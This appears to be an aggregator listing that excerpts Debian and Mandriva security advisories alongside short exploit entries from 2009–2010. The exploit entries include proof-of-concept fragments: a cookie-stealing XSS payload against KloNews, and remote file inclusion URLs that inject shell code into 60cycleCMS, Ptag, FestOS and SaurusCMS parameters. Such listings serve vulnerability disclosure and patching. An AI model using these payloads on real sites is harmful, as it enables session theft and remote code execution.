[SECURITY] [DSA 1978-1] New phpgroupware packages fix several vulnerabilities

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1978-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff January 26, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA 1980-1] New ircd-hybrid/ircd-ratbox packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1980-1 [email protected] http://www.debian.org/security/ Steffen Joeris January 27, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA-1975-1] Security Support for Debian 4.0 to be discontinued on February 15th

------------------------------------------------------------------------ Debian Security Advisory DSA-1975-1 [email protected] http://www.debian.org/security/ Stefan Fritsch January 20, 2010 http://www.debian.org/security/faq -...

KloNews Cross Site Scripting

KloNews Cross-Site Scripting XSS Author : cr4wl3r Download : http://easy-script.com/scripts-dl/klonews2.rar Tested on: GNU/LINUX PoC : KloNewspath/cat.php?cat=alertdocument.cookie;...

DSA-1975-1 etch - end of life

Security Support for Debian GNU/Linux 4.0 to be discontinued on February 15th One year after the release of Debian GNU/Linux 5.0 alias 'lenny' and nearly three years after the release of Debian GNU/Linux 4.0 alias 'etch' the security support for the old distribution 4.0 alias 'etch' is coming to ...

[SECURITY] [DSA 1973-1] New glibc packages fix information disclosure

------------------------------------------------------------------------ Debian Security Advisory DSA-1973-1 [email protected] http://www.debian.org/security/ Aurelien Jarno January 19, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA-1970-1] New openssl packages fix denial of service

------------------------------------------------------------------------ Debian Security Advisory DSA-1970-1 [email protected] http://www.debian.org/security/ Stefan Fritsch January 13, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA-1969-1] New krb5 packages fix denial of service

------------------------------------------------------------------------ Debian Security Advisory DSA-1969-1 [email protected] http://www.debian.org/security/ Giuseppe Iuculano January 12, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA-1965-1] New phpldapadmin packages fix remote file inclusion

------------------------------------------------------------------------ Debian Security Advisory DSA-1965 [email protected] http://www.debian.org/security/ Giuseppe Iuculano January 06, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA-1953-2] New expat packages fix regression

------------------------------------------------------------------------ Debian Security Advisory DSA-1953-2 [email protected] http://www.debian.org/security/ Stefan Fritsch December 31, 2009 http://www.debian.org/security/faq -...

Mandriva Security Advisory MDVSA-2009:244-1 (xfig)

The remote host is missing an update to xfig announced via advisory MDVSA-2009:244-1. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only OR...

SaurusCMS 4.6.4 Remote File Inclusion

Exploit Title: SaurusCMS = 4.6.4 Multiple RFI Exploit Date: 19-12-2009 Author: cr4wl3r Software Link: http://www.saurus.info Version: N/A Tested on: GNU/LINUX Code class.writeexcelworkbook.inc.php global $classpath; requireonce $classpath."excel/class.writeexcelbiffwriter.inc.php"; requireonce...

60cycleCMS 2.5.0 Remote File Inclusion

60cycleCMS = 2.5.0 Remote File Include Exploit Date: 19-12-2009 Author: cr4wl3r Software Link: http://60cycle.net Tested on: GNU/LINUX 60cycleCMSpath/common/sqlConnect.php?DOCUMENTROOT=SHELL DIRECTORY/something...

3Com OfficeConnect Routers DoS (Content-Type)

No description provided by source. Model - Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72 Software Version - Tested on 2.06T13 Apr 2007, last version for these routers Attacker - Tested from GNU/Linux Sidux and Ubuntu and Windows 7 Exploit languaje ...

Ptag 4.0.0 Remote File Inclusion

Exploit Title: Ptag sqltable = ptagprefix."session"; $this - cookiename = ptagprefix."session"; //If RSS mode, switch session to non-viewed tracker. if ptagoutput == "rss" parent::construct$ptagsql, sha1""; else parent::construct$ptagsql; ? PoC Ptagpath/lib/session.php?ptagdir=Shell Code sql.php...

FestOS 2.2.1 Remote File Inclusion

Exploit Title: FestOs $reports header"Location:index.php"; include "includes/reportheader.php"; ? 3xplo!t : festospath/admin/reportsplacement.php?ABSOLUTEFILEPATH=Shell Code : FestOS.php requireonce$config'ABSOLUTEFILEPATH'."core/sessions.php"; 3xplo!t :...

FestOs <= 2.2.1 Multiple RFI Exploit

Exploit for unknown platform in category web applications ==================================== FestOs $reports header"Location:index.php"; include "includes/reportheader.php"; ? 3xplo!t : festospath/admin/reportsplacement.php?ABSOLUTEFILEPATH=Shell Code : FestOS.php...

Ptag &lt;= 4.0.0 Multiple RFI Exploit

No description provided by source. Exploit Title: Ptag = 4.0.0 Multiple RFI Exploit Date: 19-12-2009 Author: cr4wl3r Software Link: http://sourceforge.net/projects/ptag/ Version: N/A Tested on: GNU/LINUX Code session.php ?php //Plottable Tagboard Systems Version 4.0.0 - ROLAND //Session handling...

Lizard Cart - Multiple SQL Injections

Lizard Cart - Multiple SQL Injections Exploit Title: Lizard Cart Multiple SQL Injection Exploit Date: 20-12-2009 Author: cr4wl3r Software Link: http://sourceforge.net/projects/lizardcart/ Version: N/A Tested on: GNU/LINUX Code detail.php $dbResult = mysqlquery"select from products where id='$id'"...

Ptag 4.0.0 - Multiple Remote File Inclusions

Ptag 4.0.0 - Multiple Remote File Inclusions Exploit Title: Ptag sqltable = ptagprefix."session"; $this - cookiename = ptagprefix."session"; //If RSS mode, switch session to non-viewed tracker. if ptagoutput == "rss" parent::construct$ptagsql, sha1""; else parent::construct$ptagsql; ? PoC...